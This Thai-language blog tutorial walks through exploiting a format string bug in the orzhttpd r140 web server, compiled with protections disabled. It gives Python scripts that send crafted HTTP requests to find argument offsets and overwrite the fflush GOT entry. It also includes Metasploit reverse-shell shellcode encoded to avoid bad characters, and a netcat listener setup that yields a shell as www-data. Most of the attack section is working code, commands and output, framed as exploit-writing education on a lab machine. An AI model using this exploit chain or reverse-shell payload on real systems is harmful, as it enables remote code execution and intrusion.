Monday, May 2, 2011

Exploiting orzhttpd r140 (disable all security options)

เราดูการเขียน exploit สำหรับโปรแกรมจริงๆ กันบางดีกว่า เดี๋ยวจะหาว่าไม่มีโปรแกรมจริงๆ เลย ตัวอย่างแรกที่จะมาให้ดูคือ orzhttpd rivision 140 ซึ่งมีคนได้เขียน exploit ไว้แล้วที่ http://www.exploit-db.com/exploits/10282/ โดยเราจะมาดูถึงปัญหาของโปรแกรมนี้ และเขียน exploit กัน โดยสมมติว่าโปรแกรม compile แบบไม่มีการป้องกันใดๆ (ถึงแม้โปรแกรมนี้จะเก่า และไม่มีการพัฒนาต่อ บวกกับไม่มีคนใช้งาน แต่อย่างน้อยเราจะได้เห็นว่าเขียน exploit ใน application จริงๆ ขนาดเล็กๆ เป็นอย่างไร)

Installation

ก่อนอื่นเราเริ่มที่ดึง source code แล้ว compile กันก่อน

$ svn export -r 140 http://orzhttpd.googlecode.com/svn/trunk/ orzhttpd
...
Exported revision 140.
$ sudo apt-get install libevent-dev libssl-dev libexpat-dev
...
$ cd orzhttpd
$ CFLAGS="-fno-stack-protector -z norelro -z execstack -D_FORTIFY_SOURCE=0" make linux
...
log.c: In function ‘serverlog’:
log.c:34: warning: format not a string literal and no format arguments
...

เมื่อ compile เสร็จแล้ว ก็ให้ตั้งค่าตามนี้ (ไฟล์ config.xml สำหรับคนไม่อยากแก้เอง)

$ sed -e 's/>www</>www-data</' config.xml.sample > config.xml
$ sudo mkdir -p /usr/local/www/log /usr/local/www/data
$ sudo chown www-data: /usr/local/www/log
$ sudo touch /usr/local/www/data/index.html

เมื่อทุกอย่างพร้อมแล้ว ก็เริ่ม orzhttpd ด้วยคำสั่ง

$ sudo ./orzhttpd -f config.xml

Vulnerability

เรามาดูปัญหาของโปรแกรม โดยผมจะอาศัยข้อมูลที่มีอยู่แล้วใน internet เพื่อความรวดเร็ว จาก svn log ที่ http://code.google.com/p/orzhttpd/source/detail?r=141 จะเห็นว่าปัญหาอยู่ใน log.c และเมื่อเราดู diff จะเห็นว่ามีการแก้ไขอยู่ 2 บรรทัด คือบรรทัดของคำสั่ง vsprintf กับ fprintf

    if (format != NULL)
    {
        va_start(ap, format);
        vsprintf(buf, format, ap); // ไม่มีการกำหนดว่าให้ใส่ข้อมูล buf ได้เท่าไร ==> buffer overflow
        va_end(ap);
    }

    fprintf(log, buf); // นำข้อมูลมาใช้เป็น format string ==> format string bug
    fflush(log);

โดยในโปรแกรมนี้ ผมจะ exploit ที่ format string bug เนื่องจากถ้าเราทำ stack based buffer overflow เราจะต้องมีการเขียนทับตัวแปร ap และ log ก่อนจะสามารถเขียนทับ saved eip ได้ ทำให้เราต้องเขียนค่าที่สามารถทำให้โปรแกรมทำงานจนจบ function เราถึงจะควบคุม eip ได้ ซึ่งจะยากกว่าการใช้ format string bug ที่สามารถเขียนทับที่ไหนก็ได้เลย

เรามาดูกันก่อนดีกว่าว่า ส่วนโค้ดที่มีปัญหาในฟังก์ชัน serverlog() โดนเรียกเมื่อไร จากไหน จะเห็นว่า

$ grep -n serverlog *.c
log.c:7:serverlog(LOG_TYPE_t type, const char *format, ...)
log.c:84:    server->log = serverlog;

จะเห็นว่า serverlog function นั้น ไม่โดนเรียกโดยตรง แต่ใช้ pointer to function server->log เก็บ address ของ serverlog function และเมื่อหาต่อ

$ grep -n 'server->log' *.c
log.c:84:    server->log = serverlog;
log.c:86:    if (server->log == NULL)
log.c:87:       error_exit("server->log == NULL");
log.c:136:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
log.c:145:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
request.c:60:    server->log(ERROR_LOG, "%s\n", conn->read_buf.buf);
status.c:160:   server->log(ERROR_LOG, "%s", response);

ถ้าเราดูใน request.c และ status.c จะเห็นว่า code ที่เรียก server->log() นั้นอยู่ใน "#ifdef HTTPD_DEBUG" ซึ่งจะไม่ถูก compile อยู่ใน binary ของเรา ดังนั้นเรามาดูที่ log.c จะอยู่ในฟังก์ชัน log_request

void
log_request(CONN_t *conn)
{
#ifdef  IPV6_HTTPD
    char            address[INET6_ADDRSTRLEN];
#else
    char            address[INET_ADDRSTRLEN];
#endif
    char            datemsg[30];
    int             ret;

    if (conn->status.st == HTTP_STATUS_400)
        return;

    if ((ret = get_IP((struct sockaddr *)&conn->cin, server->salen, address, sizeof(address))) != 0)
    {
        *address = '\0';
#if 0
        fprintf(stderr, "getnameinfo error: %s\n", gai_strerror(ret));
#endif
    }

    if (conn->request.uri.query)
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw, conn->request.uri.query,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
    else
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
}

จะเห็นว่าฟังก์ชันชื่อ log_request และเมื่อดูจาก arguments ต่างๆที่เรียก serverlog function ทำให้เดาได้ว่า ทุกๆ request ที่มีการ log จะมีการเรียกโค้ดที่มีปัญหา

เมื่อดู argument conn->request.uri.path_raw ซึ่งเดาได้ว่าคือ request ของเรามีการส่งผ่านไปที่ serverlog function และเมื่อถึงบรรทัด vsprintf ซึ่งไม่มีการกำหนดขนาดของ buf ทำให้เมื่อเราส่ง request ที่มีขนาดยาวๆ จะทำให้เกิด buffer overflow แต่เราจะไม่ทำให้เกิด buffer overflow ในกรณีนี้

เมื่อโปรแกรมทำงานถึงบรรทัด fprintf เพื่อที่จะเขียน log ลงในไฟล์ สำหรับคนที่ยังไม่มีประสบการณ์ อาจจะมองว่าตัวแปร buf นั้น โปรแกรมควมคุบเอาไว้ แต่จริงๆ แล้วถ้าเราส่ง request ที่เป็น format string เช่น "%x" จะทำให้ตัวแปร buf มี format string ที่มาจากเรา และเมื่อโปรแกรมเรียก fprintf ที่ใช้ buf เป็น format string ทำให้โปรแกรมแปล format string ที่เราส่งเข้าไป

Exploitation

ถึงเวลาเริ่มเขียน exploit กันแล้ว เรามาลองเขียนโปรแกรมเล็กๆ (ex12_orzhttpd_1.py) เพื่อที่จะดูผลลัพธ์กันก่อน

import socket

target_ip = "127.0.0.1"
target_port = 80
def send_request(ip, port, request):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(request)
    msg = s.recv(8192)
    s.close()
    return msg

print send_request(target_ip, target_port, "GET /index.html HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET %x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET /%x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "PWN /%x%x HTTP/1.0\r\n\r\n")
$ python ex12_orzhttpd_1.py
HTTP/1.0 200 OK
Date: Mon, 02 May 2011 08:03:25 GMT
Connection: close
Server: OrzHTTPd/0.0.6 (Linux)
Content-Type: text/html
Content-Length: 0
Last-Modified: Fri, 15 Apr 2011 08:57:50 GMT


HTTP/1.0 400 Bad Request

HTTP/1.0 404 Not Found

HTTP/1.0 501 Not Implemented

และเมื่อดูที่ log

$ cat /usr/local/www/log/orzhttpd.access.log
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าเรา request ไป 4 ครั้ง แต่มี log เพียงแค่ 3 อัน ซึ่งเมื่อดูแล้ว จะไม่มี log ของ return code 400 ซึ่งเป็นที่ request ที่ 2 "GET %x%x" ส่วนใน request ที่ 3 เป็นการยืนยัน format string bug และใน request ที่ 4 ถึงแม้ว่าเราจะใช้ HTTP method โปรแกรมก็ยังคง log และถ้าเราลองส่ง request จากเครื่องอื่น (IP: 192.168.1.101) จะเห็น log เป็น

192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าใน log จะมีการใส่ IP ของเครื่อง client ไว้ด้วย ซึ่งความยาวอาจจะมีความยาวไม่เท่ากัน โดยจะมีผลกับการอ้างตำแหน่งของ argument สำหรับ format string ที่เราจะใส่ เพราะว่า format string ของเราที่อยู่ในตัวแปร buf นั้นอยู่หลัง "GET /" ถ้าความยาวของ string ข้างหน้าไม่คงที่ จะทำให้ exploit เราทำงานได้บ้่าง ไม่ได้บ้าง (เดี๋ยวจะเห็นว่าจะจัดการกับกรณีนี้ยังไง)

เมื่อเราเห็นแล้วว่าสามารถใช้ format string bug ได้ ขั้นตอนต่อไปคือหา ตำแหน่งของ argument ที่อยู่ในส่วนที่เราควบคุม และจะใส่ address ที่จะเขียนลงไป (ex12_orzhttpd_2.py) โดยในนี้จะแสดงเฉพาะส่วนสำคัญ

for i in range(1, 25):
    print send_request(target_ip, target_port, "GET /AAAA_%d_%%%d$x HTTP/1.0\r\n\r\n" % (i,i))

และเมื่อดูใน log จะได้

127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_1_bfffe528 HTTP/1.0" 404 0 "-"
...
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_14_20544547 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_15_4141412f HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_16_36315f41 HTTP/1.0" 404 0 "-"
...

จะเห็นว่าตำแหน่ง argument ของ format string ที่เราเริ่มควบคุมได้คือ 15 แต่ถ้าผมลองต่อจาก IP 192.168.1.101 ดูจะได้ log เป็น

...
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_15_20544547 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_16_4141412f HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_17_37315f41 HTTP/1.0" 404 0 "-"
...

คราวนี้อยู่ที่ตำแหน่ง 16 เลื่อนไปหนึ่ง แล้วเราจะทำให้ exploit เรา reliable ได้ไงละเนี่ย ง่ายๆ คือเราต้องรู้ IP ของเราที่ server เห็นก่อนที่จะ exploit แล้วเราจะต้องนำความยาวมาคำนวณ ความ IPv4 address ที่สั้นที่สุดที่เป็นไปได้คือ "x.x.x.x" ซึ่งยาว 7 และ IPv4 address ที่ยาวที่สุดที่เป็นไปได้คือ "xxx.xxx.xxx.xxx" ซึ่งยาว 15

เราได้ตำแหน่ง argument ของ format string ของ "192.168.1.101" ซึ่งยาว 13 ดังนั้นถ้า IP address ยาว 15 ตัวอักษรเราจะใส่ "/A" สำหรับ padding และใช้ตำแหน่ง 17,18 สำหรับอ้างอิงใน format string ของเรา ส่วนถ้า IP address ที่สั้นกว่านี้ เราะจะ pad ด้วย A ชดเชยความยาว IP address ที่สั้นลง ซึ่งจะโค้ดเป็นแบบนี้ (ex12_orzhttpd_3.py)

my_pub_ip = "127.0.0.1"
# 15 is max IP address length "xxx.xxx.xxx.xxx"
req_string = "GET /A" + "A"*(15-len(my_pub_ip)) + "BBBBCCCC" + "_%17$x%18$x HTTP/1.0\r\n\r\n"
print send_request(target_ip, target_port, req_string)
127.0.0.1 - - [02/May/2011 20:52:18 +0700] "GET /AAAAAAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:51:33 +0700] "GET /AAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"

เมื่อได้ตำแหน่งของ argument สำหรับ format string ต่อมาคือหาว่าเราจะเขียนทับที่ไหน โดยผมจะเขียนทับที่ GOT entry fflush เพราะว่าจะมีการเรียก fflush หลังจากการเรียก fprintf ที่เราสามารถเขียบทับค่าที่ไหนก็ได้

$ objdump -R orzhttpd | grep fflush
0804ea04 R_386_JUMP_SLOT   fflush

สำหรับค่าที่จะใส่ใน fflush GOT entry นั้นคือ address ของ shellcode ของเรา ดังนั้นเราต้องหา address โดยลองส่ง request เข้าไปพร้อมกับ format string เพื่อทำการทดสอบ (ex12_orzhttpd_4.py)

req_fmt = pack("<II", 0x0804ea06, 0x0804ea04) + "%17$hn%18$hn"
sc = "\x90"*1024
print send_request(target_ip, target_port, req_padding + req_fmt + sc + " HTTP/1.0\r\n\r\n")

เราจะ gdb เพื่อดูค่า โดยเราจะตั้ง breakpoint ไว้ที่ fflush

$ objdump -D orzhttpd | grep -A 10 vsprintf
...
--
 804a8dc:       e8 b3 e8 ff ff          call   8049194 <vsprintf@plt>
 804a8e1:       83 c4 10                add    $0x10,%esp
...
 804a8f6:       e8 d9 e9 ff ff          call   80492d4 <fflush@plt>
 804a8fb:       83 c4 10                add    $0x10,%esp
$ sudo gdb -p `ps -C orzhttpd -o pid=`
...
0x0012d422 in __kernel_vsyscall ()
(gdb) b *0x804a8f6
Breakpoint 1 at 0x804a8f6
(gdb) c
Continuing.

Breakpoint 1, 0x0804a8f6 in ?? ()
(gdb) x/x 0x0804ea04
0x804ea04:      0x00400040    # จะเห็นว่าจำนวนที่ print ไปโดย default คือ 0x40
(gdb) x/64x $esp
...
0xbfffe6d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffe6e0:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) q

หลังจากออกจาก gdb ต้องการทำเริ่มโปรแกรม orzhttpd ใหม่ เพราะโปรแกรมนี้ทำงานแบบ thread ซึ่งถ้าเกิดการ crash ขึ้นมาจะทำให้ทั้ง process จบการทำงาน และเมื่อได้ address ที่เราต้องการเราจะทำการใส่เข้าไปใน exploit พร้อมกับ shellcode ที่กับการ reverse shell มาหาเรา

ถ้าใครลองเอา shellcode ที่ผมเคยเขียนไว้ใส่เข้าไป จะเห็นว่าโปรแกรม crash เพราะ shellcode ที่ผมให้ไปนั้นมี badchar ซึ่งที่เห็นเป็นอันแรกคือ 0x00 จากข้อมูลเราที่ต้องผ่าน vsprintf และที่เห็นๆ กับ HTTP protocol คือ 0x0a (\n), 0x0d (\r) และ 0x20 (ช่องว่าง) โดยในครั้งนี้ผมจะใช้ shellcode จาก metasploit พร้อมกับใช้ msfencode เพื่อหลีกเลี่ยง badchar

$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00\x0a\x0d\x20' -t ruby
[*] x86/shikata_ga_nai succeeded with size 98 (iteration=1)

buf =
"\xbf\xf3\x54\xe8\x0f\xda\xcb\xd9\x74\x24\xf4\x58\x31\xc9" +
"\xb1\x12\x83\xc0\x04\x31\x78\x11\x03\x78\x11\xe2\x06\x65" +
"\x33\xf8\x0b\xd5\x80\x54\xa1\xd8\x8f\xba\x85\xbb\x42\xbc" +
"\xbe\x1d\x35\xc2\x40\xa2\xc4\x5a\x28\xb3\x9a\xc4\xfb\xd9" +
"\x32\x58\xab\x94\xd2\x19\x21\xc1\x4c\x53\x35\x54\xea\xb2" +
"\x85\x58\x39\xc4\xac\xdf\x38\x95\x46\x0f\x94\x65\xfe\x27" +
"\xc5\xeb\x97\xd9\x90\x0f\x37\x75\x2a\x2e\x07\x72\xe1\x31"

สุดท้าย เราจะได้ exploit ที่ทำ reverse shell มาที่ 127.0.0.1:4444 (ex12_orzhttpd.py) และเมื่อเราใช้ nc เพื่อรอรับ shell จะได้

$ nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
$

เกิดอะไรขึ้น netcat บอกว่ามี connection มาเรียบร้อยแล้ว แต่เมื่อ accepted จะเห็นว่า connection หลุดทันที เรายังไม่ได้ทำการ disconnect เลย ถ้าเราลองพิมพ์คำสั่ง id ไว้ก่อนจะได้

$ nc -nv -l 4444
id      # <=== พิมพ์ไว้ก่อนจะยิง exploit พร้อมกับกด enter
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
uid=33(www-data) gid=33(www-data) groups=0(root)
$

เหมือนกับว่า connection นี้จะ disconnect ทันทีที่ไม่มีข้อมูล โดยเราสามารถตรวจสอบว่าเกิดอะไรขึ้นด้วยคำสั่ง strace ซึ่งเป็นคำสั่งสำหรับ trace system call (อย่าลืมให้รัน nc ให้ listen connection ด้วยนะครับ)

$ sudo strace -p `ps -C orzhttpd -o pid=`
clock_gettime(CLOCK_MONOTONIC, {6046, 379087659}) = 0
epoll_wait(6, 806ea88, 32, -1)          = -1 EINTR (Interrupted system call)
--- SIGALRM (Alarm clock) @ 0 (0) ---
time(NULL)                              = 1304348030
sigreturn()                             = ? (mask now [])
clock_gettime(CLOCK_MONOTONIC, {6047, 379100497}) = 0
...
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
...
read(0, 0x805d600, 8192)                = ? ERESTARTSYS (To be restarted)
--- SIGALRM (Alarm clock) @ 0 (0) ---
Process 2040 detached

จะเห็นว่าจะมีการใช้ SIGALRM ใน orzhttpd และหลังจาก process ทำการ execve เพื่อเปลี่ยน process ตัวเองเป็น /bin/sh แล้ว SIGALRM ยังคงทำงานอยู่ และเมื่อ shell เราที่ทำคำสั่ง read เพื่อคอยรับคำสั่งจากเราโดน interrupt ทำให้ /bin/sh คิดว่า input หมดแล้ว และทำการจบโปรแกรม ทำให้ connection เราหลุด

วิธีแก้ปัญหานี้ อาจทำได้ด้วยเพิ่ม shellcode สำหรับ disable SIGALRM เข้าไป โดยให้ ignore SIGALRM หรือวิธีง่ายกว่านั้นคือใช้คำสั่ง "trap "" 14" (14 คือหมายเลขของ SIGALRM) ใน shell หลังจากที่เราได้ทันที เพื่อให้ ignore SIGALRM

คำสั่ง trap นี้เราอาจจะพิมพ์ไว้ก่อน หลังจากที่เรารัน netcat หรือใช้ echo แล้ว pipe ไปที่ stdin ของ netcat ก็ได้ แต่ถ้าเราใช้ pipe เราจะต้องมีอีกคำสั่งหนึ่งเพื่อให้ pipe ยังคงอยู่ และ stdin สำหรับ netcat ไม่จบ ซึ่งโดยปกติจะใช้คำสั่ง cat

$ (echo 'trap "" 14';cat) | nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=33(www-data) gid=33(www-data) groups=0(root)
exit

$

ได้ exploit สำหรับ orzhttpd แล้ว หวังว่าไม่ยากเกินไปนะครับ :)

No comments:

Post a Comment